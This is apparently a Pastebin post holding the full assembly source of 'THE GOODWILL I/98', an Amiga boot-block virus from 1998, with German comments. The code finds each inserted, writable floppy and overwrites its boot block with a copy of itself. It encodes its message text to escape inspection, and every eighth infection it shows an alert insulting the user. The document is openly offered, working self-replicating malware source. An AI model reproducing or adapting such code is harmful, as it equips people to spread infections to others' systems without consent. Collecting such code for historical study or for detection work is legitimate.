Advertisement
Testaware

Amiga - THE GOODWILL I/98 BootBlock Virus

Aug 15th, 2018
453
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ****************************************************************************
  2. * THE GOODWILL I/98 BootBlock Virus © 5 October 1998 by Peace for Papillon
  3. * --------------------------------------------------------------------------
  4. * It's not a fuckin' disklamer but a shocker for foolish users, hope so!
  5. ****************************************************************************
  6.  
  7.                         opt     o+
  8.  
  9.                         Output  RAM:1
  10.  
  11. _LVODisplayAlert        equ     -90
  12.  
  13. _LVOFindResident        equ     -96
  14. _LVOAllocMem            equ     -198
  15. _LVOFreeMem             equ     -210
  16. _LVOFindTask            equ     -294
  17. _LVOCloseLibrary        equ     -414
  18. _LVOOpenDevice          equ     -444
  19. _LVOCloseDevice         equ     -450
  20. _LVODoIO                equ     -456
  21. _LVOOpenLibrary         equ     -552
  22. _LVOCopyMem             equ     -624
  23.  
  24. CMD_READ                equ     2
  25. CMD_WRITE               equ     3
  26. CMD_UPDATE              equ     4
  27. TD_MOTOR                equ     9
  28. TD_CHANGESTATE          equ     14
  29. TD_PROSTATUS            equ     15
  30.  
  31. io_Command              equ     28
  32. io_Error                equ     31
  33. io_Actual               equ     32
  34. io_Length               equ     36
  35. io_Data                 equ     40
  36. io_Offset               equ     44
  37.  
  38. bb_Code                 equ     0
  39. bb_CheckSum             equ     4
  40. bb_RootBlk              equ     8
  41.  
  42. ID_ROOT                 equ     1
  43. GW_COUNT                equ     8
  44.  
  45. BYTESPERBLOCK           equ     512
  46.  
  47.                         RsReset
  48. MY_Base                 rs.b    0
  49. my_IOReply              rs.l    8
  50. my_StdIOReq             rs.b    48
  51. my_BootBuffer           rs.b    1024
  52. my_TextBuffer           rs.b    1024
  53. my_SIZEOF               rs.w    0
  54.  
  55. LIB                     MACRO
  56.                         jsr     _LVO\1(a6)
  57.                         ENDM
  58.  
  59.  
  60. ****************************************************************************
  61. ;GOODWILL I/98 Virus, gut geignet für den BootBlock!
  62.  
  63. GoodWill        dc.l    $444F5300       ;DOS0
  64.                 dc.l    $00000000       ;CheckSum
  65.                 dc.l    $00000370       ;RootBlock
  66.  
  67. Std_Boot        lea     exp_lib(pc),a1  ;Standart OS2.0 BootBlock (fast)
  68.                 moveq   #37,d0
  69.                 LIB     OpenLibrary
  70.                 tst.l   d0
  71.                 beq.s   .no_explib
  72.                 movea.l d0,a1
  73.                 bset    #6,34(a1)
  74.                 LIB     CloseLibrary
  75. .no_explib      lea     dos_lib(pc),a1
  76.                 LIB     FindResident
  77.                 tst.l   d0
  78.                 beq.s   .not_found
  79.                 movea.l d0,a0
  80.                 movea.l 22(a0),a0
  81.                 moveq   #0,d0
  82.                 bsr.s   GW_Virus        ;Der BootBlock gehört MIR!
  83.                 rts
  84. .not_found      moveq   #-1,d0
  85.                 rts
  86.  
  87.  
  88. ****************************************************************************
  89. ;Aktivierung des GOODWILL VIRUS I/98 (hehehe!)
  90.  
  91. GW_Virus        movem.l d0-d7/a0-a6,-(sp)
  92.  
  93.  
  94. ;Zunächst  Speicher für  Dateninhalte / Boot- & RootBlock etc.  reservieren.
  95. ;
  96.                 move.l  #my_SIZEOF,d0
  97.                 move.l  #$10003,d1
  98.                 LIB     AllocMem
  99.                 tst.l   d0
  100.                 beq     GW_End
  101.                 movea.l d0,a5
  102.  
  103.  
  104. ;Die  Häufigkeit  der  Virusvermehrung  wird  getestet.   Sollten mehr als 8
  105. ;Infizierungen  stattgefunden  haben  wird  eine  Warnmeldung  in Form eines
  106. ;DisplayAlerts mit entsprechendem Text ausgegeben.
  107. ;
  108.                 lea     gw_numb(pc),a0
  109.                 addi.w  #1,(a0)
  110.                 move.w  (a0),d0
  111.                 cmpi.w  #GW_COUNT,d0
  112.                 bne.s   GW_CalcBBSum
  113.  
  114.                 lea     int_lib(pc),a1
  115.                 moveq   #0,d0
  116.                 LIB     OpenLibrary
  117.                 tst.l   d0
  118.                 beq     GW_Repeat
  119.                 movea.l d0,a6
  120.  
  121.  
  122. ;Damit nicht bei dem Betrachten des BootBlocks schon vor der Verbreitung ein
  123. ;Unbehagen  demselbigen  entgegengebracht wird,  wird  der Virustext vor der
  124. ;zweiten  Infizierung  kodiert, da bei dem ersten Installiern dieser noch in
  125. ;lesbarer Form existiert.  Das hat den Vorteil, daß in der Entwicklungsphase
  126. ;der  Text beliebig geändert werden kann, ohne das dieser wiederholt kodiert
  127. ;werden muß. (Anm. des Autors: Ok, ich bin etwas faul!)
  128. ;
  129.                 lea     gw_text(pc),a0          ;Text von Virus
  130.                 tst.b   (a0)                    ;Schon kodiert?
  131.                 bne.s   GW_Decrypt              ;Ja!
  132.                 move.w  #GW_TEXTLEN-1,d0        ;Länge Text in Bytes
  133.                 moveq   #0,d1
  134. GW_Crypt        addq.w  #3,d1                   ;Kodier-Code
  135.                 eor.b   d1,(a0)                 ;Kodieren
  136.                 not.b   (a0)+
  137.                 dbf     d0,GW_Crypt
  138. GW_Decrypt      lea     gw_text(pc),a0          ;Kodierter Text
  139.                 lea     my_TextBuffer(a5),a1    ;Platz für unkodierter Text
  140.                 move.w  #GW_TEXTLEN-1,d0        ;Länge Text in Bytes
  141.                 moveq   #0,d1
  142. 1$              move.b  (a0)+,(a1)              ;Text in Buffer kopieren
  143.                 addq.w  #3,d1                   ;Kodier-Code
  144.                 not.b   (a1)
  145.                 eor.b   d1,(a1)+                ;Dekodieren
  146.                 dbf     d0,1$
  147.  
  148.  
  149. ;Ausgabe der Warnmeldung von GOODWILL I/98. (selber schuld)
  150. ;
  151.                 movem.l a5/a6,-(sp)
  152.                 lea     my_TextBuffer(a5),a0    ;Dekodierter Virus-Text
  153.                 moveq   #120,d1                 ;Höhe des AlertScreen
  154.                 LIB     DisplayAlert
  155.                 movem.l (sp)+,a5/a6
  156.                 movea.l a6,a1
  157.                 move.l  4.w,a6
  158.                 LIB     CloseLibrary
  159.  
  160.  
  161. ;Counter  wieder  auf  NULL  setzen für die nächsten 8 Infizierungen und der
  162. ;darauf folgenden Warnmeldung.
  163.  
  164.                 lea     gw_numb(pc),a0
  165.                 clr.w   (a0)
  166.  
  167.  
  168. ;Berechnung der neuen BB_CheckSum da u.A. 'gw_numb + 1'
  169. ;
  170. GW_CalcBBSum    lea     my_BootBuffer(a5),a3
  171.                 movea.l a3,a1
  172.                 lea     GoodWill(pc),a0
  173.                 move.l  #GW_BOOTLEN,d0
  174.                 LIB     CopyMem
  175.  
  176.                 movea.l a3,a0                   ;my_BootBuffer
  177.                 clr.l   bb_CheckSum(a3)
  178.                 moveq   #0,d0
  179.                 move.w  #$FF,d1
  180. 1$              add.l   (a0)+,d0
  181.                 bcc.s   2$
  182.                 addq.l  #1,d0
  183. 2$              dbf     d1,1$
  184.                 not.l   d0
  185.                 lea     GoodWill(pc),a0
  186.                 move.l  d0,bb_CheckSum(a0)
  187.  
  188.                 moveq.l #3,d7                   ;Max. Laufwerke in D7
  189.  
  190.  
  191. ;Einrichten des jeweiligen TrackDiskTask & IOStandartRequest
  192. ;
  193. GW_Repeat       suba.l  a1,a1
  194.                 LIB     FindTask
  195.                 lea     my_IOReply(a5),a2
  196.                 move.l  d0,16(a2)
  197.                 lea     my_StdIOReq(a5),a1
  198.                 move.l  a2,14(a1)
  199.                 lea     trk_dev(pc),a0
  200.                 move.l  d7,d0                   ;Aktuelles Laufwerk
  201.                 moveq   #0,d1
  202.                 LIB     OpenDevice
  203.                 tst.l   d0
  204.                 bne     GW_Until
  205.  
  206.  
  207. ;Test  ob  jeweilige Diskette eingelegt und nicht schreibgeschützt ist.  Bei
  208. ;nicht zutreffen wird die GOODWILL I/98 installation abgebrochen. (leider)
  209. ;
  210.                 lea     my_StdIOReq(a5),a1
  211.                 move.w  #TD_CHANGESTATE,io_Command(a1)
  212.                 LIB     DoIO
  213.                 tst.l   io_Actual(a1)
  214.                 bne     GW_Skip
  215.                 move.w  #TD_PROSTATUS,io_Command(a1)
  216.                 LIB     DoIO
  217.                 tst.l   io_Actual(a1)
  218.                 bne     GW_Skip
  219.  
  220.  
  221. ;Na  gut!   Wer  seine  DOS  Disketten nicht sorgfältig überprüft ist selber
  222. ;schuld wenn sich dann folgendes abspielt:
  223. ;
  224. ;BootBlock  einlesen  und  Position  des RootBlocks ermitteln.  Als Standart
  225. ;wird  die  RootBlock-Position  880  angenommen,  da  aber immer wieder eine
  226. ;Ausnahme  die  Regel  bestätigt,  wird  sie  zunächst über den BootBlock an
  227. ;Byte-Position  8 ermittelt.  Ist der RootBlock eingelesen, wird getestet ob
  228. ;es sich nicht versehentlich um eine nicht DOS Diskette handelt deren Format
  229. ;über das FileSystem nicht erkannt würde.  Solche Disketten benötigen in den
  230. ;meisten  Fällen keinen RootBlock und werden deshalb auch nicht von GOODWILL
  231. ;infiziert. (wir wollen doch keinen Schaden anrichten)
  232. ;
  233.                 lea     my_BootBuffer(a5),a3
  234.                 move.w  #CMD_READ,io_Command(a1)
  235.                 move.l  #BYTESPERBLOCK,io_Length(a1)
  236.                 move.l  a3,io_Data(a1)
  237.                 move.l  #0,io_Offset(a1)
  238.                 LIB     DoIO
  239.                 tst.b   io_Error(a1)
  240.                 bne.s   GW_Motor
  241.                 move.l  bb_RootBlk(a3),d0
  242.                 bne.s   GW_Calcroot
  243.                 move.l  #880,d0
  244. GW_Calcroot     mulu    #BYTESPERBLOCK,d0
  245.                 move.l  d0,io_Offset(a1)
  246.                 LIB     DoIO
  247.                 tst.b   io_Error(a1)
  248.                 bne.s   GW_Motor
  249.                 cmpi.l  #ID_ROOT,508(a3)
  250.                 bne.s   GW_Motor
  251.  
  252.  
  253. ;Die Daten des RootBlocks wieder löschen, warum auch nicht gleich den ganzen
  254. ;Buffer-Bereich, sicher ist sicher oder doch nicht?
  255. ;
  256.                 movea.l a3,a0                           ;my_BootBuffer
  257.                 move.w  #BYTESPERBLOCK/2,d0
  258. GW_Clear        clr.l   (a0)+
  259.                 dbf     d0,GW_Clear
  260.  
  261.  
  262. ;GOODWILL I/98 Virus in ChipMem kopieren damit wird immer gewährleistet, daß
  263. ;die TrackDisk-Kommandos ihre Aufgabe auch wirklich erfüllen.
  264.  
  265.                 movea.l a3,a1                           ;my_BootBuffer
  266.                 lea     GoodWill(pc),a0
  267.                 move.l  #GW_BOOTLEN,d0
  268.                 LIB     CopyMem
  269.  
  270.  
  271. ;So,  hier  folgt nun das Herzstück von GOODWILL.  Zwar nicht kompromisslos,
  272. ;obwohl  es ohne weiteres möglich währe, aber dafür mit äussester Effizienz.
  273. ;Machen wir es kurz, mein lieber BootBlock, du wirst infiziert.
  274. ;
  275.                 lea     my_StdIOReq(a5),a1
  276.                 move.w  #CMD_WRITE,io_Command(a1)
  277.                 move.l  #BYTESPERBLOCK*2,io_Length(a1)
  278.                 move.l  a3,io_Data(a1)                  ;my_BootBuffer
  279.                 move.l  #0,io_Offset(a1)
  280.                 LIB     DoIO
  281.                 move.w  #CMD_UPDATE,io_Command(a1)
  282.                 LIB     DoIO
  283. GW_Motor        move.w  #TD_MOTOR,io_Command(a1)
  284.                 move.l  #0,io_Length(a1)
  285.                 LIB     DoIO
  286. GW_Skip         LIB     CloseDevice
  287. GW_Until        dbra    d7,GW_Repeat
  288.  
  289.  
  290. ;Wenn soweit alles erledigt ist, muß natürlich der benötigte Speicherbereich
  291. ;dem System wieder zur Verfügung gestellt werden.
  292. ;
  293. GW_Free         movea.l a5,a1
  294.                 move.l  #my_SIZEOF,d0
  295.                 LIB     FreeMem
  296.  
  297.  
  298. ;Register restauieren und zurück zu des BootBlocks Aufgabe.
  299. ;
  300. GW_End          movem.l (sp)+,d0-d7/a0-a6
  301.                 rts
  302.  
  303.  
  304. ****************************************************************************
  305. ;Allgemeiner Datenbereich
  306.  
  307. gw_numb dc.w    GW_COUNT-1
  308.  
  309. gw_text dc.b    0,47,24,"««««««««««« THE GOODWILL I/98 VIRUS ALARM! »»»»»»»»»»»",0,$FF
  310.         dc.b    0,47,40,"Are  You  A  Foolish  User  Or  Are  You  Only  Stupid",0,$FF
  311.         dc.b    0,47,50,"What Could All Be Happen If I Would Be A Fuckin' Virus",0,$FF
  312.         dc.b    0,47,60,"So You  Should Check  Your Disks As  Soon  As Possible",0,$FF
  313.         dc.b    0,47,70,"And In Future  Always Check Your Disks Before Using It",0,$FF
  314.         dc.b    0,47,80,"But At First We Really Hope That We Have Shocked You!!",0,$FF
  315.         dc.b    0,47,98,"««««««««««««««««« BYE, YOUR PAPILLON! »»»»»»»»»»»»»»»»",0,$00
  316.         even
  317.  
  318. GW_TEXTLEN      equ     *-gw_text
  319.  
  320. dos_lib dc.b    "dos.library",0
  321. exp_lib dc.b    "expansion.library",0
  322. int_lib dc.b    "intuition.library",0
  323. trk_dev dc.b    "trackdisk.device",0
  324.  
  325. gwv_i98 dc.b    "GWV"
  326.  
  327. GW_BOOTLEN      equ     *-GoodWill
  328.  
  329.                 END
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement